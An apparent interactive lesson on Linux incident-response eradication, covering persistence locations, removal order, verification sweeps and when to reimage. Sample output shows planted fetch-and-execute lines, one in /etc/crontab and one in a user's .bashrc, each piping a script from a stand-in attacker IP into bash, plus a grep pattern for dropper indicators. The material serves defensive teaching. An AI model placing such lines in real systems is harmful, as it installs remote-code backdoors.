Eradication: Removing the Threat

Intermediate40 min7 steps

What you'll learn

Work a complete persistence checklist instead of removing only the obvious payload
Eradicate in the correct order — cut persistence first, then kill the process, then delete the files
Prove the host is clean with a fresh verification sweep rather than assuming
Recognize when eradication is not enough and a reimage from known-good media is the only safe fix

Why removing the payload isn't enough
Understand that attackers plant redundant persistence, so eradication is a checklist, not a single delete.
Containment stopped the bleeding — the host is isolated and the attacker can't reach it. Eradication is the next phase: remove everything the attacker left behind, and then prove it's gone.
The trap that catches most responders is assuming there's one thing to remove. A competent attacker plants redundant persistence: if you find and delete the miner binary, a cron job re-downloads it five minutes later; kill that, and a systemd timer respawns it; remove that, and a backdoor SSH key still lets them walk back in. Delete one mechanism and the others quietly rebuild the rest.
Think of eradication as weeding a garden. Yank the visible weed and leave the root, and it grows right back. To actually clear the bed you have to get every root — and then walk the bed afterwards to confirm nothing's left. This lesson is that disciplined, root-by-root sweep.
Why it matters
Incident reports are full of "we cleaned it and it came back the next day." That isn't the malware being clever — it's the responder removing the payload and missing a second persistence mechanism. Redundancy is the attacker's whole strategy. Eradication has to be exhaustive precisely because the attacker designed it to survive a half-effort cleanup.
Check yourself
You delete the malicious binary and the running process dies. An hour later it's running again. What most likely happened?
The persistence checklist
Learn the complete set of locations you must clear — this lesson is the consolidation point.
Persistence is just "something that re-runs the attacker's code automatically." Every such mechanism is a place that runs code on a schedule, at boot, on login, or on connection. Your job is to clear all of them. The checklist:
- Cron — every location: user crontabs (crontab -l per user), /etc/crontab, /etc/cron.d/, and /etc/cron.{hourly,daily,weekly,monthly}/.
- systemd units & timers: rogue .service units (often with a Restart=always) and .timer units in /etc/systemd/system/ and ~/.config/systemd/user/.
- Legacy boot scripts: /etc/rc.local and /etc/init.d/.
- Shell rc files: ~/.bashrc, ~/.bash_profile, ~/.profile, and the system-wide /etc/profile.d/*.sh — code here runs on every login/shell.
- SSH `authorized_keys`: a planted public key in any user's ~/.ssh/authorized_keys is a backdoor that needs no malware at all.
- Rogue accounts: new users, and especially any non-`root` account with UID 0, which is silently a superuser.
Each of these has a dedicated deep-dive lesson — cron persistence, SSH key abuse, and boot/startup hijacking. This lesson is the consolidation point: the place where you run the whole list as one disciplined sweep so nothing slips between the cracks of the individual topics.
One list, every time
Don't improvise eradication from memory under pressure. Keep this checklist and walk it top to bottom on every host. The mechanism you don't habitually check is exactly the one the attacker is counting on you to forget.
```
$ awk -F: '$3==0 {print $1}' /etc/passwd
```
```
root
backup-svc
```
-F:
Use ':' as the field separator so each passwd field is a column.
$3==0
Match rows whose 3rd field (UID) is 0 — superuser accounts.
{print $1}
Print field 1 (the username) of each matching row.
/etc/passwd fields are colon-separated; field 3 is the UID. This prints every account with UID 0. There should be exactly one: root. A second UID-0 account like backup-svc is a rogue superuser — a quiet, malware-free backdoor that survives until you remove it.
Check yourself
Besides 'root', an account named 'svc-update' has UID 0 in /etc/passwd. Why is that dangerous even with no malware on the box?
Order of operations: cut persistence FIRST
Eradicate in the right sequence so the threat can't respawn while you work.
Order matters more than any single command. If you kill the running process before removing what respawns it, the schedule simply launches it again — sometimes within seconds — and you'll think your kill failed. Forward this instinct from containment: neutralize the mechanism before the symptom.
The correct sequence is:
1. Remove the schedule / trigger — delete the cron job, disable and remove the systemd unit/timer, strip the rc and rc-file entries, remove the rogue key and account. Now nothing can relaunch the payload.
2. Kill the running process — with its respawn source gone, the kill is final.
3. Delete the files — remove the dropped binaries and artifacts last, once nothing is using or recreating them.
Do it backwards and you fight the box; do it in this order and each step stays done.
Example — not runnable on your lab box
```
$ sudo systemctl disable --now updated.timer && sudo rm /etc/systemd/system/updated.timer /etc/systemd/system/updated.service
```
```
Removed "/etc/systemd/system/multi-user.target.wants/updated.timer".
```
disable
Remove the unit's boot/wants symlink so it won't activate at boot.
--now
Also stop it immediately, in the same command — no respawn window.
&&
Only run the rm if the disable succeeded, so you never delete a unit that's still live.
First `disable --now` stops the timer and removes its boot symlink so it can't fire again — that's cutting persistence. Only then do we rm the unit files. Order inside the step mirrors the order across the whole job: kill the trigger, then delete the artifact.
Killing the process first
The classic eradication failure: you spot the miner at 98% CPU and immediately kill -9 it. Its cron job is still there, so a minute later it's back and you've learned nothing except that "kill doesn't work." Always remove the cron job / timer / rc entry FIRST, then kill. With the respawn source gone, the process stays dead.
Check yourself
You found a malicious process AND the cron job that respawns it. Which do you remove first, and why?
Walk the rest of the checklist
Clear cron, shell rc files, and authorized_keys with the same cut-first discipline.
With the timer gone, work the remaining roots. Each is a place that auto-runs code; for each you find it, confirm it's malicious, then remove it. Don't bulk-delete blindly — a legitimate cron job or a real admin's SSH key looks superficially similar, so read each entry before you cut it.
```
$ sudo grep -rn . /etc/cron.d/ /etc/crontab
```
```
/etc/crontab:17 * * * * root curl -s http://198.51.100.23/x | bash
/etc/cron.d/0hourly:01 * * * * root run-parts /etc/cron.hourly
```
-r
Recurse into the given directories.
-n
Show the line number so you can edit the exact entry.
.
Match any non-empty line — a quick way to dump all real content, skipping blanks.
grep -rn . prints every non-empty line (and its line number) across the cron drop-in locations. The first line is the threat: it runs a payload fetched from `198.51.100.23` — a documentation-reserved IP standing in for the attacker's server. The 0hourly entry is legitimate run-parts plumbing. Read, then cut: remove only the malicious line.
Don't forget per-user crontabs
/etc/cron.d/ and /etc/crontab are system cron, but each user has a private crontab that lives elsewhere (/var/spool/cron/). Check every user with for u in $(cut -f1 -d: /etc/passwd); do sudo crontab -l -u "$u" 2>/dev/null && echo "^-- $u"; done. A user crontab is a favorite hiding spot precisely because the system-wide files get all the attention.
```
$ sudo grep -rn 'curl\|wget\|base64\|/tmp/' /etc/profile.d/ /root/.bashrc /home/*/.bashrc
```
```
/etc/profile.d/lang.sh:export LANG=en_US.UTF-8
/home/webadmin/.bashrc:(curl -s http://203.0.113.9/a.sh || true) | bash &>/dev/null
```
-r
Recurse, so /etc/profile.d/ and every matched .bashrc are searched.
'curl\|wget\|base64\|/tmp/'
Alternation: match any of these high-signal indicators of a dropper or beacon.
Shell rc files and /etc/profile.d/*.sh run on every login. Grepping for download/exec tells (curl, wget, base64, /tmp/) surfaces the planted line in webadmin's .bashrc that beacons to `203.0.113.9` on each shell. The lang.sh hit is benign. Remove the malicious line; leave the locale export.
```
$ sudo grep -rn '.' /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys
```
```
/home/webadmin/.ssh/authorized_keys:ssh-ed25519 AAAAC3Nz...webadmin@laptop
/home/webadmin/.ssh/authorized_keys:ssh-rsa AAAAB3Nz...attacker-backdoor
```
-r
Recurse across the globbed home directories.
'.'
Match any non-empty line so every authorized key is listed for review.
Each line is a key that can log in without a password. The first is the real admin's key; the second, commented attacker-backdoor, is a planted backdoor — but the comment is attacker-chosen, so verify each key against your known-good inventory rather than trusting the label. Remove the rogue key line. A backdoor key needs no malware and survives every binary you delete, so this check is non-negotiable.
Check yourself
Why must you read each authorized_keys line before deleting, instead of emptying the file?
Prove it's gone: the verification sweep
Confirm eradication with fresh, read-only scans — the absence of the IoC across a clean sweep.
Removing things isn't the finish line — proving they're gone is. Eradication is only complete when a fresh sweep shows the absence of every indicator of compromise (IoC): no rogue process returns, no malicious listener, no extra key, no new UID-0 account. "I deleted it" is a claim; a clean re-scan is evidence.
The single most important check is persistence: simulate the conditions that would respawn the threat. The honest way is a reboot — if the box comes back clean, with no rogue process and no listener, your persistence removal held. (In this sandbox you re-run the sweeps; on a real host you reboot, then sweep.)
```
$ systemctl list-timers --all | grep -iE 'updat|miner|\.timer' ; sudo ss -tlnp
```
```
State  Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0      128    0.0.0.0:22         0.0.0.0:*         users:(("sshd",pid=901,fd=3))
LISTEN 0      128    0.0.0.0:80         0.0.0.0:*         users:(("nginx",pid=988,fd=6))
```
list-timers --all
Show every timer including inactive ones — so a disabled-but-present rogue timer still appears.
-t / -l / -n / -p
ss: TCP, listening only, numeric ports, owning process — see any backdoor still holding a port.
Two checks at once. The timer list returns nothing matching our threat — the rogue .timer is gone. And ss -tlnp shows only the expected listeners (22/sshd, 80/nginx); the backdoor's 0.0.0.0:31337 from the forensics phase is absent. Absence of the IoC across a fresh scan is exactly the evidence eradication is done.
Declaring clean without a fresh scan
The most dangerous moment in an incident is calling "all clear" because you remember deleting everything. Memory isn't evidence. Re-run every sweep from scratch — process table, listeners, timers, keys, UID-0 — and ideally after a reboot. Closing an incident on a stale mental model is how the second persistence mechanism slips through and the threat returns the next day.
Check yourself
What's the strongest single test that your persistence removal actually worked?
When eradication isn't enough: reimage
Know the line past which cleaning is untrustworthy and only a rebuild is safe.
Sometimes the right answer is: don't clean it — rebuild it. Eradication assumes your tools tell you the truth. A kernel rootkit breaks that assumption — it can hook the kernel so that ps, ss, and ls lie to you, hiding the very processes, ports, and files you're hunting. Once the kernel is compromised, no user-space sweep can be trusted, because the thing answering your questions is the attacker's code.
The same logic applies to deep or unknown compromise: a host with root-level intrusion of uncertain scope, signs of tampering with system binaries, or any case where you can't be confident you've enumerated everything. When you can't prove a host is clean, you must assume it isn't.
The only trustworthy fix is to reimage from known-good media: wipe and reinstall from a trusted image, restore data from clean backups (vetted, not the attacker's tainted ones), then rotate every credential that touched the box. You rebuild on ground you control instead of trying to out-clean an attacker who owns the kernel.
Trying to clean a rootkitted host
Pouring hours into eradicating a kernel-rootkitted machine is wasted effort and actively dangerous — your tools are reporting whatever the rootkit wants you to see, so you'll 'confirm clean' a box that's still owned. When kernel integrity is in doubt, stop cleaning and reimage. It's faster and it's the only outcome you can trust.
Check yourself
Your forensic tools show a clean box, but you have strong evidence a kernel rootkit is present. Clean it or reimage it?
Try it in your live terminal
Run the verification sweep yourself on the real sandbox to your right.
You have a real root shell. These are all read-only verification sweeps — the exact "prove it's clean" pass you'd run after eradicating, or before signing off a host. Nothing here changes the system; you're confirming the absence of IoCs. There may be nothing malicious here — the point is to make the sweep reflex.
```
$ systemctl list-timers --all
```
Every timer, active or not. Ask of each: do I recognize this unit? A timer you can't account for is a persistence candidate.
```
$ sudo grep -rl . /etc/cron.d/ 2>/dev/null; sudo grep -rn . /etc/crontab
```
List cron drop-in files that have content, then dump /etc/crontab. Read every job line — anything that pipes a download to a shell is a red flag.
```
$ sudo ss -tlnp
```
Every listening TCP port and its owning process. Confirm only expected services (e.g. 22, 80) are present — no odd high port like 31337.
```
$ awk -F: '$3==0 {print $1}' /etc/passwd
```
Every UID-0 account. This must print exactly 'root' and nothing else. A second name here is a rogue superuser to remove.

Recap

Attackers plant redundant persistence — eradication is a full checklist, not a single delete. Get every root.
Order matters: cut the schedule/trigger first, then kill the process, then delete the files — or it respawns.
Eradication ends with evidence, not memory — a fresh sweep (ideally post-reboot) showing the absence of every IoC.
When the kernel itself may be compromised, stop cleaning and reimage from known-good media — your tools can't be trusted.

Persistence location → how to remove → how to verify gone
Location	How to remove	How to verify gone
User & system cron (`/etc/crontab`, `/etc/cron.d/`, `crontab -l -u`)	Edit out the malicious job line; keep legit ones	`grep -rn . /etc/cron.d/ /etc/crontab`; per-user `crontab -l`
systemd unit / timer	`systemctl disable --now`, then `rm` the unit file	`systemctl list-timers --all` shows it absent
rc.local / init.d	Remove the injected line/script	Re-read the file; reboot and confirm clean
Shell rc & `/etc/profile.d/`	Delete the planted line; keep real config	`grep -rn 'curl\\|wget\\|/tmp/'` finds nothing
SSH `authorized_keys`	Remove only the rogue key line	Re-read each user's authorized_keys; reboot-safe
Rogue UID-0 / new user	`userdel` (or fix UID) the rogue account	`awk -F: '$3==0{print $1}' /etc/passwd` prints only root
Running process	Kill it AFTER persistence is cut	`ps`/`ss` clean after reboot — no respawn, no listener

Eradication: Removing the Threat

Why removing the payload isn't enough

The persistence checklist

Order of operations: cut persistence FIRST

Walk the rest of the checklist

Prove it's gone: the verification sweep

When eradication isn't enough: reimage

Try it in your live terminal